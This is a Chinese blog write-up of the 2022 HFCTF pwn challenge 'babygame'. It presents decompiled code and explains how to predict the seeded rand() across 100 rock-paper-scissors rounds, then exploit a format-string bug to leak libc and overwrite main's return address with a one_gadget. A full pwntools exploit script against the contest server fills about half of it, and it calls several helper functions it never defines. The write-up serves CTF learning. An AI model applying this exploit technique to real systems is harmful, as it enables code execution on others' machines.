2022 虎符 pwn babygame

原创

yongbaoii 于 2022-03-21 17:15:00 发布 316 收藏 2

分类专栏： CTF 文章标签： 网络安全

本文链接：https://blog.csdn.net/yongbaoii/article/details/123626468


```
*] '/home/desh0ng/Desktop/babygame'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

绿

界面简单

```
  v7 = __readfsqword(0x28u);
  ((void (__fastcall *)(__int64, char **, char **))((char *)&sub_1268 + 1))(a1, a2, a3);
  v5 = time(0LL);
  puts("Welcome to HFCTF!");
  puts("Please input your name:");
  read(0, buf, 0x256uLL);
  printf("Hello, %s\n", buf);
  srand(v5);
  v6 = sub_1305();
  if ( v6 > 0 )
    sub_13F7();
  return 0LL;
}
```

```
  int v3; // [rsp+Ch] [rbp-4h]

  puts("Let's start to play a game!");
  puts("0. rock");
  puts("1. scissor");
  puts("2. paper");
  for ( i = 0; i <= 99; ++i )
  {
    printf("round %d: \n", (unsigned int)(i + 1));
    v2 = rand() % 3;
    v3 = sub_129C();
    if ( v2 )
    {
      if ( v2 == 1 )
      {
        if ( v3 != 2 )
          return 0LL;
      }
      else if ( v2 == 2 && v3 )
      {
        return 0LL;
      }
    }
    else if ( v3 != 1 )
    {
      return 0LL;
    }
  }
  return 1LL;
}
```


玩一百把随机数游戏

```
  v2 = __readfsqword(0x28u);
  puts("Good luck to you.");
  read(0, buf, 0x100uLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}
```

打赢给一个格式化字符串

重点就是过那个随机数嘛
计算机的随机数始终都是伪随机
它的种子是时间
它种子的时间是秒为单位

我们只要在它启动的时候
我们也启动我们的脚本，也开始用时间种子随机

只要我们跟他的时间不超过1s
我们就可以完全拿到它所谓的随机数

就很轻松的过了游戏
然后格式化字符串泄露libc改main返回地址为ong_gadget就可以了

exp

```python
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
from ctypes import *

#r = process("./babygame")
r = remote("120.25.205.249",30311)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc_rand = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

r.sendlineafter("Please input your name:", b'a'*0x100+p64(0))

libc_rand.srand(0)
for i in range(100):
    ru("round {}: \n".format(i+1))
    num = libc_rand.rand()
    if (num%3) == 1:
        r.sendline('2')
    if (num%3) == 2:
        r.sendline('0')
    if (num%3) == 0:
        r.sendline('1')

r.senduntil("Good luck to you.", '%9$lx%50c%8$hhn'.ljust(0x10,'a')+'\x78')
r.recvuntil('\n')
libc_base = int(rv(12),16) - 0x61d6f
r.recvuntil('a')
stack_addr = u64(ru('\x7f')[-6:].ljust(8,b'\x00'))

one_gadget = libc_base + 0xe3b31

payload = fmtstr_payload(6, {stack_addr: one_gadget})
sendlineafter("Good luck to you.", payload)


r.interactive()
```